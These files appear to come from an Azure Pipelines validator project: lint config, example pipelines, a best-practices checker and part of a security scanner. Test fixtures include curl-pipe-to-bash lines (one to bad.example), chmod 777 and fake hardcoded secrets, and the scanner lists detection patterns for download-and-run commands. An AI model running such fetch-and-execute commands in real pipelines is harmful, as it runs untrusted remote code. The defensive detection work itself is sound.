Azure Pipelines Validator

*.test.yml

# yamllint configuration for Azure Pipelines YAML files
# Tailored for Azure DevOps Pipeline syntax and conventions

extends: default

rules:
  # Azure Pipelines often have long lines in scripts, conditions, and expressions
  line-length:
    max: 150
    level: warning

  # Azure Pipelines use 2-space indentation
  indentation:
    spaces: 2
    indent-sequences: true
    check-multi-line-strings: false

  # Allow comments without space from content
  comments:
    min-spaces-from-content: 1
    require-starting-space: true
    ignore-shebangs: true

  # Azure Pipelines files typically don't use document start markers
  document-start: disable

  # Azure Pipelines use various truthy values
  truthy:
    allowed-values: ['true', 'false', 'True', 'False', 'yes', 'no', 'on', 'off']
    check-keys: true

  # Allow empty values (common in Azure Pipelines for optional fields)
  empty-values:
    forbid-in-block-mappings: false
    forbid-in-flow-mappings: false

  # Enforce no key duplicates (important for Azure Pipelines)
  key-duplicates: enable

  # Be lenient with trailing spaces
  trailing-spaces:
    level: warning

  # Require new line at end of file
  new-line-at-end-of-file: enable

  # Azure Pipelines have complex nested structures
  braces:
    min-spaces-inside: 0
    max-spaces-inside: 1

  brackets:
    min-spaces-inside: 0
    max-spaces-inside: 1

  # Allow quoted strings (Azure Pipelines use $(variables) and ${{ expressions }})
  quoted-strings:
    quote-type: any
    required: false

  # Allow colons in values (common in Azure Pipelines for time formats, etc.)
  colons:
    max-spaces-before: 0
    max-spaces-after: 1

  # Hyphens are used for list items
  hyphens:
    max-spaces-after: 1

  # Allow octal values (might be used in scripts)
  octal-values:
    forbid-implicit-octal: false
    forbid-explicit-octal: false

# Basic Azure Pipeline Example
# Simple CI pipeline with build and test stages

trigger:
  branches:
    include:
      - main
      - develop

pool:
  vmImage: 'ubuntu-22.04'

variables:
  buildConfiguration: 'Release'
  DOTNET_SKIP_FIRST_TIME_EXPERIENCE: 'true'
  NUGET_PACKAGES: '$(Pipeline.Workspace)/.nuget/packages'

stages:
  - stage: Build
    displayName: 'Build Stage'
    jobs:
      - job: BuildJob
        displayName: 'Build Application'
        steps:
          - task: UseDotNet@2
            displayName: 'Install .NET SDK'
            inputs:
              version: '8.x'

          - task: Cache@2
            displayName: 'Cache NuGet packages'
            inputs:
              key: 'nuget | "$(Agent.OS)" | **/*.csproj'
              restoreKeys: |
                nuget | "$(Agent.OS)"
              path: '$(NUGET_PACKAGES)'

          - task: DotNetCoreCLI@2
            displayName: 'Restore Dependencies'
            inputs:
              command: 'restore'
              projects: '**/*.csproj'
            env:
              NUGET_PACKAGES: '$(NUGET_PACKAGES)'

          - task: DotNetCoreCLI@2
            displayName: 'Build Project'
            inputs:
              command: 'build'
              projects: '**/*.csproj'
              arguments: '--configuration $(buildConfiguration)'
            env:
              NUGET_PACKAGES: '$(NUGET_PACKAGES)'

          - task: PublishPipelineArtifact@1
            displayName: 'Publish Build Artifacts'
            inputs:
              targetPath: '$(Build.ArtifactStagingDirectory)'
              artifact: 'drop'

  - stage: Test
    displayName: 'Test Stage'
    dependsOn: Build
    jobs:
      - job: VerificationJob
        displayName: 'Run Tests'
        steps:
          - task: Cache@2
            displayName: 'Restore NuGet cache'
            inputs:
              key: 'nuget | "$(Agent.OS)" | **/*.csproj'
              restoreKeys: |
                nuget | "$(Agent.OS)"
              path: '$(NUGET_PACKAGES)'

          - task: DotNetCoreCLI@2
            displayName: 'Run Unit Tests'
            inputs:
              command: 'test'
              projects: '**/*Tests.csproj'
              arguments: '--configuration $(buildConfiguration) --collect:"XPlat Code Coverage"'
            env:
              NUGET_PACKAGES: '$(NUGET_PACKAGES)'

          - task: PublishCodeCoverageResults@2
            displayName: 'Publish Code Coverage'
            inputs:
              codeCoverageTool: 'Cobertura'
              summaryFileLocation: '$(Agent.TempDirectory)/**/*coverage.cobertura.xml'

# Deployment Pipeline with Multiple Environments
# Demonstrates deployment jobs with approval gates

trigger:
  branches:
    include:
      - main

pool:
  vmImage: 'ubuntu-22.04'

variables:
  - group: 'shared-variables'
  - name: appName
    value: 'mywebapp'

stages:
  - stage: Build
    displayName: 'Build Application'
    jobs:
      - job: Build
        displayName: 'Build Job'
        steps:
          - task: Npm@1
            displayName: 'Install Dependencies'
            inputs:
              command: 'ci'

          - task: Cache@2
            displayName: 'Cache node_modules'
            inputs:
              key: 'npm | "$(Agent.OS)" | package-lock.json'
              path: 'node_modules'
              cacheHitVar: 'CACHE_RESTORED'

          - script: npm run build
            displayName: 'Build Application'

          - task: PublishPipelineArtifact@1
            displayName: 'Publish Artifacts'
            inputs:
              targetPath: 'dist'
              artifact: 'webapp'

  - stage: DeployDev
    displayName: 'Deploy to Development'
    dependsOn: Build
    condition: succeeded()
    jobs:
      - deployment: DeployDev
        displayName: 'Deploy to Dev Environment'
        environment: 'development'
        strategy:
          runOnce:
            deploy:
              steps:
                - download: current
                  artifact: webapp

                - task: AzureWebApp@1
                  displayName: 'Deploy to Azure Web App'
                  inputs:
                    azureSubscription: 'Azure-Dev-Connection'
                    appName: '$(appName)-dev'
                    package: '$(Pipeline.Workspace)/webapp'
                    deploymentMethod: 'auto'

  - stage: DeployStaging
    displayName: 'Deploy to Staging'
    dependsOn: DeployDev
    condition: succeeded()
    jobs:
      - deployment: DeployStaging
        displayName: 'Deploy to Staging Environment'
        environment: 'staging'
        strategy:
          runOnce:
            preDeploy:
              steps:
                - script: echo "Pre-deployment validation"
                  displayName: 'Pre-deployment Steps'

            deploy:
              steps:
                - download: current
                  artifact: webapp

                - task: AzureWebApp@1
                  displayName: 'Deploy to Azure Web App'
                  inputs:
                    azureSubscription: 'Azure-Staging-Connection'
                    appName: '$(appName)-staging'
                    package: '$(Pipeline.Workspace)/webapp'
                    deploymentMethod: 'auto'

            postRouteTraffic:
              steps:
                - script: echo "Running smoke tests"
                  displayName: 'Smoke Tests'

  - stage: DeployProduction
    displayName: 'Deploy to Production'
    dependsOn: DeployStaging
    condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/main'))
    jobs:
      - deployment: DeployProduction
        displayName: 'Deploy to Production Environment'
        environment: 'production'
        timeoutInMinutes: 120
        strategy:
          runOnce:
            deploy:
              steps:
                - download: current
                  artifact: webapp

                - task: AzureWebApp@1
                  displayName: 'Deploy to Azure Web App'
                  inputs:
                    azureSubscription: 'Azure-Prod-Connection'
                    appName: '$(appName)-prod'
                    package: '$(Pipeline.Workspace)/webapp'
                    deploymentMethod: 'auto'

# Docker Build and Push Pipeline
# Builds a Docker image and pushes to Azure Container Registry

trigger:
  branches:
    include:
      - main

pr:
  branches:
    include:
      - main

pool:
  vmImage: 'ubuntu-22.04'

variables:
  imageRepository: 'myapp'
  containerRegistry: 'myacr.azurecr.io'
  dockerfilePath: '$(Build.SourcesDirectory)/Dockerfile'
  tag: '$(Build.BuildId)'

stages:
  - stage: Build
    displayName: 'Build and Push Docker Image'
    jobs:
      - job: Docker
        displayName: 'Docker Build Job'
        steps:
          - task: Docker@2
            displayName: 'Build Docker Image'
            inputs:
              command: 'build'
              repository: '$(imageRepository)'
              dockerfile: '$(dockerfilePath)'
              tags: |
                $(tag)
                latest

          - task: Docker@2
            displayName: 'Push to Container Registry'
            inputs:
              command: 'push'
              repository: '$(imageRepository)'
              containerRegistry: '$(containerRegistry)'
              tags: |
                $(tag)

  - stage: SecurityScan
    displayName: 'Security Scanning'
    dependsOn: Build
    jobs:
      - job: Scan
        displayName: 'Container Security Scan'
        steps:
          - task: ContainerStructureTest@0
            displayName: 'Container Structure Test'
            inputs:
              dockerRegistryServiceConnection: '$(containerRegistry)'
              repository: '$(imageRepository)'
              tag: '$(tag)'
              configFile: 'container-structure-test.yaml'
              testRunTitle: 'Container Structure Tests'

# Multi-Platform Build Pipeline
# Builds and tests on multiple operating systems

trigger:
  branches:
    include:
      - main
      - release/*

pr: none

strategy:
  matrix:
    linux:
      imageName: 'ubuntu-22.04'
      platformName: 'Linux'
    mac:
      imageName: 'macOS-13'
      platformName: 'macOS'
    windows:
      imageName: 'windows-2022'
      platformName: 'Windows'

pool:
  vmImage: $(imageName)

variables:
  nodeVersion: '20.x'

steps:
  - task: NodeTool@0
    displayName: 'Install Node.js'
    inputs:
      versionSpec: '$(nodeVersion)'

  - task: Cache@2
    displayName: 'Cache npm packages'
    inputs:
      key: 'npm | "$(Agent.OS)" | package-lock.json'
      restoreKeys: |
        npm | "$(Agent.OS)"
      path: '$(npm_config_cache)'

  - script: npm ci
    displayName: 'Install Dependencies'

  - script: npm run build
    displayName: 'Build on $(platformName)'

  - script: npm test
    displayName: 'Run Tests on $(platformName)'

  - task: PublishTestResults@2
    displayName: 'Publish Test Results'
    condition: succeededOrFailed()
    inputs:
      testResultsFormat: 'JUnit'
      testResultsFiles: '**/test-results.xml'
      testRunTitle: 'Tests on $(platformName)'

  - task: PublishCodeCoverageResults@2
    displayName: 'Publish Coverage'
    inputs:
      codeCoverageTool: 'Cobertura'
      summaryFileLocation: '$(System.DefaultWorkingDirectory)/**/coverage/cobertura-coverage.xml'

trigger: none
pool:
  vmImage: ubuntu-latest
steps:
  - ${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}:
      - script: curl -fsSL https://bad.example/install.sh | bash

trigger: none
jobs:
  - deployment: DeployWeb
    environment: test
    strategy:
      runOnce:
        deploy:
          steps:
            - script: echo deploy
        on:
          failure:
            steps:
              - task: CmdLine
                inputs:
                  script: echo rollback

# Regression example: conditional stage template insertion.
# This should pass syntax validation.

trigger:
  branches:
    include:
      - main
      - develop

stages:
  - stage: Build
    jobs:
      - job: BuildJob
        steps:
          - script: echo "build"

  - template: templates/deploy-template.yml
    parameters:
      environment: staging

  - ${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}:
      - template: templates/deploy-template.yml
        parameters:
          environment: production

# Regression example: conditional step insertion in a template.
# This should pass syntax validation.

parameters:
  - name: runTests
    type: boolean
    default: true

steps:
  - script: npm ci
    displayName: Install dependencies

  - script: npm run build
    displayName: Build application

  - ${{ if eq(parameters.runTests, true) }}:
      - script: npm test -- --coverage --ci
        displayName: Run tests

      - task: PublishTestResults@2
        condition: succeededOrFailed()
        inputs:
          testResultsFormat: JUnit
          testResultsFiles: '**/junit.xml'

# Pipeline with Template Usage
# Demonstrates reusable templates for common tasks

trigger:
  branches:
    include:
      - main

pool:
  vmImage: 'ubuntu-22.04'

variables:
  - template: variables/common.yml
  - name: environment
    value: 'production'

stages:
  - stage: CI
    displayName: 'Continuous Integration'
    jobs:
      - job: Build
        displayName: 'Build and Test'
        steps:
          - template: templates/install-dependencies.yml
            parameters:
              nodeVersion: '20.x'

          - template: templates/build-steps.yml
            parameters:
              buildConfiguration: 'Release'

          - template: templates/test-steps.yml
            parameters:
              coverageEnabled: true

          - task: PublishPipelineArtifact@1
            displayName: 'Publish Artifacts'
            inputs:
              targetPath: 'dist'
              artifact: 'build-output'

  - stage: CD
    displayName: 'Continuous Deployment'
    dependsOn: CI
    condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/main'))
    jobs:
      - template: templates/deploy-job.yml
        parameters:
          environment: '$(environment)'
          azureSubscription: 'Azure-Production'
          appServiceName: 'myapp-prod'

# Pipeline with intentional issues for testing validation

trigger:
  - main

pool:
  vmImage: 'ubuntu-latest'  # Using 'latest' - should warn

variables:
  apiKey: 'hardcoded-api-key-12345678'  # Hardcoded secret - should error
  PASSWORD: 'MySecretPass123'  # Hardcoded password - should error

steps:
  - script: |
      echo "Installing dependencies"
      curl https://example.com/install.sh | bash  # Dangerous pattern - should error
      chmod 777 ./myfile  # Dangerous permissions - should error
    displayName: 'Setup'

  - task: Docker  # Missing version - should error
    inputs:
      command: 'build'
      repository: 'myrepo/myimage:latest'  # Using :latest - should warn

#!/usr/bin/env python3
"""
Azure Pipelines Best Practices Checker

This script checks Azure Pipelines YAML files for best practices:
- displayName usage for clarity
- Task version pinning
- Pool vmImage specific versions
- Cache usage for package managers
- Timeout configuration
- Artifact expiration
- Deployment conditions
- Template usage recommendations
- Parallel execution opportunities
"""

import sys
import yaml
import re
from pathlib import Path
from typing import Dict, List, Any, Set
from collections import defaultdict

from step_walker import iter_steps


class BestPracticeIssue:
    """Represents a best practice issue"""

    def __init__(self, severity: str, line: int, message: str, rule: str, suggestion: str = ""):
        self.severity = severity  # 'warning', 'info'
        self.line = line
        self.message = message
        self.rule = rule
        self.suggestion = suggestion

    def __str__(self):
        result = f"{self.severity.upper()}: Line {self.line}: {self.message} [{self.rule}]"
        if self.suggestion:
            result += f"\n  💡 Suggestion: {self.suggestion}"
        return result


class BestPracticesChecker:
    """Checks Azure Pipelines files for best practices"""

    # Package managers that should use caching
    PACKAGE_MANAGERS = {
        'npm': {'install', 'ci'},
        'yarn': {'install'},
        'pip': {'install'},
        'dotnet': {'restore'},
        'maven': {'-B'},
        'gradle': {'build', 'test'}
    }

    # Tasks that commonly need caching
    CACHE_TASKS = {'Npm@1', 'Maven@3', 'Gradle@2', 'DotNetCoreCLI@2'}

    # Tasks where @0 is the only/current major version and is acceptable
    # These tasks have not released a @1 version yet, so @0 is correct
    ACCEPTABLE_AT_ZERO_TASKS = {
        'GoTool',           # Go version installer - only @0 available
        'NodeTool',         # Node.js version installer - only @0 available
        'UsePythonVersion', # Python version selector - only @0 available
        'KubernetesManifest', # K8s manifest deploy - only @0 available
        'DockerCompose',    # Docker Compose - only @0 available
        'HelmInstaller',    # Helm installer - only @0 available
        'HelmDeploy',       # Helm deploy - only @0 available
        'Cache',            # Pipeline caching - commonly @2 but @0 still valid
    }

    def __init__(self, file_path: str):
        self.file_path = Path(file_path)
        self.issues: List[BestPracticeIssue] = []
        self.config: Dict[str, Any] = {}
        self.line_map: Dict[str, int] = {}

    def check(self) -> List[BestPracticeIssue]:
        """Run all best practice checks"""

        try:
            with open(self.file_path, 'r') as f:
                content = f.read()
            self.config = yaml.safe_load(content)
            self._build_line_map(content)
        except Exception as e:
            print(f"Error loading file: {e}", file=sys.stderr)
            return []

        if not isinstance(self.config, dict):
            return []

        # Run all checks
        self._check_display_names()
        self._check_task_versions()
        self._check_pool_images()
        self._check_cache_usage()
        self._check_timeouts()
        self._check_conditions()
        self._check_parallel_opportunities()
        self._check_artifact_retention()
        self._check_template_usage()
        self._check_variable_groups()

        return self.issues

    def _build_line_map(self, content: str):
        """Build comprehensive line number map for error reporting"""
        self.raw_lines = content.split('\n')
        for line_num, line in enumerate(self.raw_lines, 1):
            stripped = line.strip()
            if stripped and not stripped.startswith('#'):
                if ':' in stripped:
                    key = stripped.split(':')[0].strip('- ')
                    if key and key not in self.line_map:
                        self.line_map[key] = line_num
                    # Also store full stripped line for value lookups
                    self.line_map[stripped] = line_num

    def _get_line(self, key: str) -> int:
        """Get approximate line number for a key or value"""
        if key in self.line_map:
            return self.line_map[key]
        # Search for the key in raw lines
        for line_num, line in enumerate(self.raw_lines, 1):
            if key in line:
                return line_num
        return 0

    def _find_line_containing(self, value: str) -> int:
        """Find line number containing a specific value"""
        for line_num, line in enumerate(self.raw_lines, 1):
            if value in line:
                return line_num
        return 0

    def _check_display_names(self):
        """Check for missing displayName properties"""

        # Check stages
        if 'stages' in self.config:
            for stage in self.config.get('stages', []):
                if isinstance(stage, dict) and 'stage' in stage:
                    stage_name = stage['stage']
                    if 'displayName' not in stage:
                        self.issues.append(BestPracticeIssue(
                            'info', self._get_line(stage_name),
                            f"Stage '{stage_name}' should have displayName for better readability",
                            'missing-displayname',
                            f"Add 'displayName: \"Your Stage Description\"' to stage '{stage_name}'"
                        ))

                    # Check jobs within stage
                    self._check_jobs_display_names(stage.get('jobs', []))

        # Check jobs at pipeline level
        if 'jobs' in self.config:
            self._check_jobs_display_names(self.config['jobs'])

    def _check_jobs_display_names(self, jobs: List[Any]):
        """Check displayName for jobs"""
        for job in jobs:
            if isinstance(job, dict):
                job_name = job.get('job') or job.get('deployment')
                if job_name and 'displayName' not in job:
                    self.issues.append(BestPracticeIssue(
                        'info', self._get_line(job_name),
                        f"Job '{job_name}' should have displayName for better readability",
                        'missing-displayname',
                        f"Add 'displayName: \"Your Job Description\"' to job '{job_name}'"
                    ))

    def _check_task_versions(self):
        """Check that tasks use specific version numbers"""

        def check_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict) and 'task' in step:
                    task = step['task']
                    if isinstance(task, str):
                        line_num = self._find_line_containing(f"task: {task}") or self._find_line_containing(task)

                        # Extract task name (without version) for whitelist check
                        task_name = task.split('@')[0] if '@' in task else task

                        # Check if using @0 or missing version
                        if '@0' in task:
                            # Skip warning if task is in the acceptable @0 whitelist
                            if task_name not in self.ACCEPTABLE_AT_ZERO_TASKS:
                                self.issues.append(BestPracticeIssue(
                                    'warning', line_num,
                                    f"Task '{task}' in {context} uses @0 which may break with updates",
                                    'task-version-zero',
                                    "Pin to a specific major version (e.g., @1, @2, @3)"
                                ))

                        # Check if version is present
                        if '@' not in task:
                            self.issues.append(BestPracticeIssue(
                                'warning', line_num,
                                f"Task '{task}' in {context} is missing version specification",
                                'task-missing-version',
                                "Add version specification (e.g., TaskName@2)"
                            ))

        # Check all steps
        self._traverse_steps(check_steps)

    def _check_pool_images(self):
        """Check pool vmImage specifications"""

        def check_pool(pool: Any, context: str):
            if isinstance(pool, dict) and 'vmImage' in pool:
                vm_image = pool['vmImage']
                if isinstance(vm_image, str):
                    # Warn about using 'latest' tags
                    if 'latest' in vm_image.lower():
                        self.issues.append(BestPracticeIssue(
                            'warning', self._get_line('vmImage'),
                            f"Pool vmImage '{vm_image}' uses 'latest' which may cause inconsistent builds",
                            'pool-latest-image',
                            "Pin to specific OS version (e.g., 'ubuntu-22.04' instead of 'ubuntu-latest')"
                        ))

        # Check root-level pool
        if 'pool' in self.config:
            check_pool(self.config['pool'], 'pipeline')

        # Check job-level pools
        def check_job_pools(jobs: List[Any]):
            for job in jobs:
                if isinstance(job, dict) and 'pool' in job:
                    job_name = job.get('job') or job.get('deployment', 'unknown')
                    check_pool(job['pool'], f"job '{job_name}'")

        if 'stages' in self.config:
            for stage in self.config['stages']:
                if isinstance(stage, dict):
                    check_job_pools(stage.get('jobs', []))

        if 'jobs' in self.config:
            check_job_pools(self.config['jobs'])

    def _check_cache_usage(self):
        """Check for cache usage with package managers"""

        has_cache = False
        package_install_steps = []

        def find_cache_and_installs(steps: List[Any], context: str):
            nonlocal has_cache
            for step in steps:
                if isinstance(step, dict):
                    # Check for Cache@2 task
                    if 'task' in step and 'Cache@' in str(step['task']):
                        has_cache = True

                    # Check for package manager tasks
                    if 'task' in step:
                        task = step['task']
                        for cache_task in self.CACHE_TASKS:
                            if cache_task in str(task):
                                package_install_steps.append((context, task))

                    # Check for script-based package installations
                    for script_key in ['script', 'bash', 'pwsh', 'powershell']:
                        if script_key in step:
                            script = str(step[script_key])
                            for pkg_mgr, commands in self.PACKAGE_MANAGERS.items():
                                for cmd in commands:
                                    if pkg_mgr in script and cmd in script:
                                        package_install_steps.append((context, f"{pkg_mgr} {cmd}"))

        self._traverse_steps(find_cache_and_installs)

        # If we have package installations but no cache
        if package_install_steps and not has_cache:
            contexts = ', '.join(set(ctx for ctx, _ in package_install_steps))
            self.issues.append(BestPracticeIssue(
                'warning', 0,
                f"Pipeline installs packages but doesn't use caching in: {contexts}",
                'missing-cache',
                "Add Cache@2 task to cache dependencies and speed up builds"
            ))

    def _check_timeouts(self):
        """Check for timeout configuration on long-running jobs"""

        def check_job(job: Dict[str, Any]):
            if isinstance(job, dict):
                job_name = job.get('job') or job.get('deployment')
                if job_name and 'timeoutInMinutes' not in job:
                    # Check if it's a deployment job (usually long-running)
                    if 'deployment' in job:
                        self.issues.append(BestPracticeIssue(
                            'info', self._get_line(job_name),
                            f"Deployment job '{job_name}' should specify timeoutInMinutes",
                            'missing-timeout',
                            "Add 'timeoutInMinutes: 60' (or appropriate value) to prevent hung jobs"
                        ))

        if 'stages' in self.config:
            for stage in self.config['stages']:
                if isinstance(stage, dict):
                    for job in stage.get('jobs', []):
                        check_job(job)

        if 'jobs' in self.config:
            for job in self.config['jobs']:
                check_job(job)

    def _check_conditions(self):
        """Check for proper condition usage on deployment jobs"""

        def check_job(job: Dict[str, Any], parent_stage_has_condition: bool = False):
            if isinstance(job, dict) and 'deployment' in job:
                job_name = job['deployment']
                # Only flag if NEITHER job NOR parent stage has a condition
                job_has_condition = 'condition' in job
                if not job_has_condition and not parent_stage_has_condition:
                    environment = job.get('environment', 'unknown')
                    if 'prod' in environment.lower() or 'production' in environment.lower():
                        self.issues.append(BestPracticeIssue(
                            'warning', self._get_line(job_name),
                            f"Production deployment '{job_name}' should have condition for safety",
                            'missing-deployment-condition',
                            "Add condition to control when production deployment runs (on job or stage)"
                        ))

        if 'stages' in self.config:
            for stage in self.config['stages']:
                if isinstance(stage, dict):
                    # Check if the stage itself has a condition
                    stage_has_condition = 'condition' in stage
                    for job in stage.get('jobs', []):
                        check_job(job, parent_stage_has_condition=stage_has_condition)

        if 'jobs' in self.config:
            for job in self.config['jobs']:
                # Jobs at pipeline level have no parent stage
                check_job(job, parent_stage_has_condition=False)

    def _check_parallel_opportunities(self):
        """Check for opportunities to parallelize test jobs"""

        def check_job(job: Dict[str, Any]):
            if isinstance(job, dict):
                job_name = job.get('job', '')
                if 'test' in job_name.lower() and 'strategy' not in job:
                    steps = job.get('steps', [])
                    # Look for test execution steps
                    has_test_step = any(
                        isinstance(step, dict) and (
                            'test' in str(step).lower() or
                            'Test@' in str(step.get('task', ''))
                        )
                        for step in steps
                    )
                    if has_test_step:
                        self.issues.append(BestPracticeIssue(
                            'info', self._get_line(job_name),
                            f"Test job '{job_name}' could benefit from parallel execution",
                            'parallel-opportunity',
                            "Consider using 'strategy.parallel' to run tests concurrently"
                        ))

        if 'stages' in self.config:
            for stage in self.config['stages']:
                if isinstance(stage, dict):
                    for job in stage.get('jobs', []):
                        check_job(job)

        if 'jobs' in self.config:
            for job in self.config['jobs']:
                check_job(job)

    def _check_artifact_retention(self):
        """Check for artifact retention policies"""

        def check_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict):
                    # Check PublishBuildArtifacts or PublishPipelineArtifact
                    if 'task' in step:
                        task = str(step['task'])
                        if 'PublishBuildArtifacts@' in task or 'PublishPipelineArtifact@' in task:
                            # Note: Artifact retention is typically set at project/org level
                            # but we can suggest documenting it
                            pass

        self._traverse_steps(check_steps)

    def _check_template_usage(self):
        """Check for opportunities to use templates"""

        # Count duplicate job patterns
        job_patterns = defaultdict(list)

        def analyze_job(job: Dict[str, Any]):
            if isinstance(job, dict) and 'template' not in job:
                # Create a simple signature of the job
                steps = job.get('steps', [])
                if len(steps) > 3:  # Only check substantial jobs
                    step_types = tuple(
                        step.get('task', step.get('script', step.get('bash', '')))[:20]
                        for step in steps if isinstance(step, dict)
                    )
                    if step_types:
                        job_name = job.get('job') or job.get('deployment', 'unknown')
                        job_patterns[step_types].append(job_name)

        if 'stages' in self.config:
            for stage in self.config['stages']:
                if isinstance(stage, dict):
                    for job in stage.get('jobs', []):
                        analyze_job(job)

        if 'jobs' in self.config:
            for job in self.config['jobs']:
                analyze_job(job)

        # Report duplicate patterns
        for pattern, jobs in job_patterns.items():
            if len(jobs) > 1:
                self.issues.append(BestPracticeIssue(
                    'info', 0,
                    f"Jobs {', '.join(jobs)} have similar steps and could use a template",
                    'template-opportunity',
                    "Consider extracting common steps into a template for reusability"
                ))

    def _check_variable_groups(self):
        """Check for hardcoded variables that should use variable groups"""

        if 'variables' not in self.config:
            return

        variables = self.config['variables']

        if isinstance(variables, dict):
            # Inline variables
            if len(variables) > 10:
                self.issues.append(BestPracticeIssue(
                    'info', self._get_line('variables'),
                    f"Pipeline has {len(variables)} inline variables",
                    'many-inline-variables',
                    "Consider using variable groups for better organization and reusability"
                ))

    def _traverse_steps(self, callback):
        """Traverse all steps in the pipeline and apply callback."""
        steps_by_context: Dict[str, List[Any]] = {}
        for step, context in iter_steps(self.config):
            steps_by_context.setdefault(context, []).append(step)

        for context, steps in steps_by_context.items():
            callback(steps, context)


def main():
    if len(sys.argv) < 2:
        print("Usage: check_best_practices.py <azure-pipelines.yml>", file=sys.stderr)
        sys.exit(1)

    checker = BestPracticesChecker(sys.argv[1])
    issues = checker.check()

    if issues:
        # Group by severity
        warnings = [i for i in issues if i.severity == 'warning']
        infos = [i for i in issues if i.severity == 'info']

        if warnings:
            print(f"WARNINGS ({len(warnings)}):")
            print("─" * 80)
            for issue in warnings:
                print(f"  {issue}\n")

        if infos:
            print(f"SUGGESTIONS ({len(infos)}):")
            print("─" * 80)
            for issue in infos:
                print(f"  {issue}\n")

        if warnings:
            print("⚠  Best practices check found warnings")
            sys.exit(2)  # Exit code 2 for warnings (distinct from passed)
        else:
            print("ℹ  Best practices check completed with suggestions")
            sys.exit(2)  # Exit code 2 for suggestions
    else:
        print("✓ Best practices check passed")
        sys.exit(0)


if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""
Azure Pipelines Security Scanner

This script scans Azure Pipelines YAML files for security issues:
- Hardcoded secrets and credentials
- Task version security
- Container image security
- Dangerous script patterns
- Service connection security
- Secrets exposure in logs
- Script injection vulnerabilities
"""

import sys
import yaml
import re
from pathlib import Path
from typing import Dict, List, Any, Pattern

from step_walker import iter_steps


class SecurityIssue:
    """Represents a security issue"""

    def __init__(self, severity: str, line: int, message: str, rule: str, remediation: str = ""):
        self.severity = severity  # 'critical', 'high', 'medium', 'low'
        self.line = line
        self.message = message
        self.rule = rule
        self.remediation = remediation

    def __str__(self):
        result = f"{self.severity.upper()}: Line {self.line}: {self.message} [{self.rule}]"
        if self.remediation:
            result += f"\n  🔒 Remediation: {self.remediation}"
        return result


class SecurityScanner:
    """Scans Azure Pipelines files for security issues"""

    # Patterns for detecting hardcoded secrets
    SECRET_PATTERNS = [
        (re.compile(r'(?i)(password|passwd|pwd)\s*[:=]\s*["\']?(?!\$\()[a-zA-Z0-9!@#$%^&*()_+\-=\[\]{};:,.<>?/\\|`~]{8,}["\']?'), 'hardcoded-password'),
        (re.compile(r'(?i)(api[_-]?key|apikey)\s*[:=]\s*["\']?(?!\$\()[a-zA-Z0-9_\-]{16,}["\']?'), 'hardcoded-api-key'),
        (re.compile(r'(?i)(secret|token|access[_-]?key)\s*[:=]\s*["\']?(?!\$\()[a-zA-Z0-9_\-]{16,}["\']?'), 'hardcoded-secret'),
        (re.compile(r'(?i)(aws_access_key_id|aws_secret_access_key)\s*[:=]\s*["\']?(?!\$\()[A-Z0-9]{16,}["\']?'), 'hardcoded-aws-credentials'),
        (re.compile(r'(?i)bearer\s+(?!\$\()[a-zA-Z0-9_\-\.]{20,}'), 'hardcoded-bearer-token'),
        (re.compile(r'-----BEGIN\s+(RSA\s+)?PRIVATE\s+KEY-----'), 'hardcoded-private-key'),
        (re.compile(r'(?i)(client_secret|client_id)\s*[:=]\s*["\']?(?!\$\()[a-zA-Z0-9_\-]{16,}["\']?'), 'hardcoded-oauth-credentials'),
        (re.compile(r'(?i)(database_url|connection_?string)\s*[:=]\s*["\']?(?!\$\()(?:postgresql|mysql|mongodb|sqlserver)://[^"\'\s]+["\']?'), 'hardcoded-connection-string'),
        (re.compile(r'(?i)(subscription[_-]?id|tenant[_-]?id)\s*[:=]\s*["\']?(?!\$\()[a-f0-9\-]{36}["\']?'), 'hardcoded-azure-ids'),
    ]

    # Dangerous script patterns
    DANGEROUS_PATTERNS = [
        (re.compile(r'curl\s+[^|]*\|\s*(bash|sh|pwsh|powershell)'), 'curl-pipe-shell', 'Download and verify scripts before execution'),
        (re.compile(r'wget\s+[^|]*\|\s*(bash|sh|pwsh|powershell)'), 'wget-pipe-shell', 'Download and verify scripts before execution'),
        (re.compile(r'Invoke-WebRequest.*\|\s*(Invoke-Expression|iex)'), 'invoke-web-pipe-iex', 'Download and verify scripts before execution'),
        (re.compile(r'(?<!\#)\s*eval\s+[\$\(]'), 'eval-command', 'Avoid using eval with variables to prevent code injection'),
        (re.compile(r'chmod\s+777'), 'chmod-777', 'Avoid overly permissive file permissions (use 755 or 644)'),
        (re.compile(r'--insecure|-k\s'), 'insecure-ssl', 'Do not disable SSL/TLS verification'),
        (re.compile(r'--no-verify'), 'skip-verification', 'Do not skip verification checks'),
        (re.compile(r'git\s+config\s+--global\s+http\.sslVerify\s+false'), 'git-disable-ssl', 'Do not disable Git SSL verification'),
    ]

    # Patterns that might leak secrets in logs
    SECRET_EXPOSURE_PATTERNS = [
        re.compile(r'(?i)echo\s+.*\$\((PASSWORD|SECRET|TOKEN|KEY|CREDENTIAL)'),
        re.compile(r'(?i)Write-Host.*\$\((PASSWORD|SECRET|TOKEN|KEY|CREDENTIAL)'),
        re.compile(r'(?i)console\.log.*\$\((PASSWORD|SECRET|TOKEN|KEY|CREDENTIAL)'),
        re.compile(r'(?i)print.*\$\((PASSWORD|SECRET|TOKEN|KEY|CREDENTIAL)'),
        re.compile(r'(?i)(echo|print|Write-Host|console\.log).*\$\(variables\..*(?:password|secret|token|key)'),
    ]

    # Container image security patterns
    INSECURE_IMAGE_PATTERNS = [
        re.compile(r':\s*latest\s*$'),  # Using :latest tag
        re.compile(r'(?i)FROM\s+[a-z0-9\-\./_]+:latest'),  # Dockerfile FROM with latest
    ]

    def __init__(self, file_path: str):
        self.file_path = Path(file_path)
        self.issues: List[SecurityIssue] = []
        self.config: Dict[str, Any] = {}
        self.raw_content: str = ""
        self.line_map: Dict[str, int] = {}
        # Track reported issues to avoid duplicates (line_number, rule) pairs
        self.reported_secrets: set = set()

    def scan(self) -> List[SecurityIssue]:
        """Run all security scans"""

        try:
            with open(self.file_path, 'r') as f:
                self.raw_content = f.read()
            self.config = yaml.safe_load(self.raw_content)
            self._build_line_map()
        except Exception as e:
            print(f"Error loading file: {e}", file=sys.stderr)
            return []

        if not isinstance(self.config, dict):
            return []

        # Run all security checks
        self._check_hardcoded_secrets()
